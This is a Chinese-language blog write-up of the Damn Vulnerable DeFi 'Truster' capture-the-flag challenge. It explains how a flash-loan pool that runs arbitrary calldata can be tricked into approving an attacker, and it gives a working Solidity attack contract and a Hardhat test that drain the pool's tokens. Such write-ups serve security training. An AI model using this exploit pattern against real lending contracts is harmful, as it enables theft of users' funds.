# Defi安全挑战系列-Damn Vulnerable DeFi(#3 Truster)

By [skye](https://paragraph.com/@skye-3) · 2023-06-21

---

> 越来越多的借贷池开始提供闪电贷款服务。在这种情况下，一个新的借贷池已经启动，提供免费的DVT代币闪电贷款服务。
> 
> 该借贷池持有100万个DVT代币。你没有任何代币。
> 
> 为了完成这个挑战，将借贷池中的所有代币取出。如果可能，在一个单独的交易中完成。

[https://www.damnvulnerabledefi.xyz/challenges/truster/](https://www.damnvulnerabledefi.xyz/challenges/truster/)

### 合约细节

ERC20协议中有个 `approve(address,uint256)` ,调用者给参数address授权uint256额度。

TrusterLenderPool.sol合约中的`function flashLoan( uint256 amount, address borrower, address target, bytes calldata data )` 参数data正好可以传递approve的字节码方式，并且方法中使用的是call方式执行字节码，这样TrusterLenderPool.sol合约授权了攻击合约的token额度，后面可以随时转币。

### 解决方案

创建攻击合约 AttackTruster.sol

    pragma solidity ^0.8.0;
    
    import "solmate/src/tokens/ERC20.sol";
    import "./TrusterLenderPool.sol";
    import "../DamnValuableToken.sol";
    
    contract AttackTruster {
        TrusterLenderPool private trusterLenderPool;
        DamnValuableToken private damnValuableToken;
    
        constructor(
            address payable _trusterLenderPool,
            address payable _damnValuableToken
        ) {
            trusterLenderPool = TrusterLenderPool(_trusterLenderPool);
            damnValuableToken = DamnValuableToken(_damnValuableToken);
        }
    
        function attack() public {
            uint256 balance = damnValuableToken.balanceOf(
                address(trusterLenderPool)
            );
            trusterLenderPool.flashLoan(
                0,
                address(this),
                address(damnValuableToken),
                abi.encodeWithSignature(
                    "approve(address,uint256)",
                    address(this),
                    balance
                )
            );
    
            damnValuableToken.transferFrom(
                address(trusterLenderPool),
                msg.sender,
                balance
            );
        }
    }
    

truster.challenge.js

        it('Execution', async function () {
            const attackTrusterFactory = await ethers.getContractFactory("AttackTruster", player);
            const attackTruster = await attackTrusterFactory.deploy(
                pool.address,
                token.address
            )
            attackTruster.connect(player).attack();
        });

---

*Originally published on [skye](https://paragraph.com/@skye-3/defi-damn-vulnerable-defi-3-truster)*
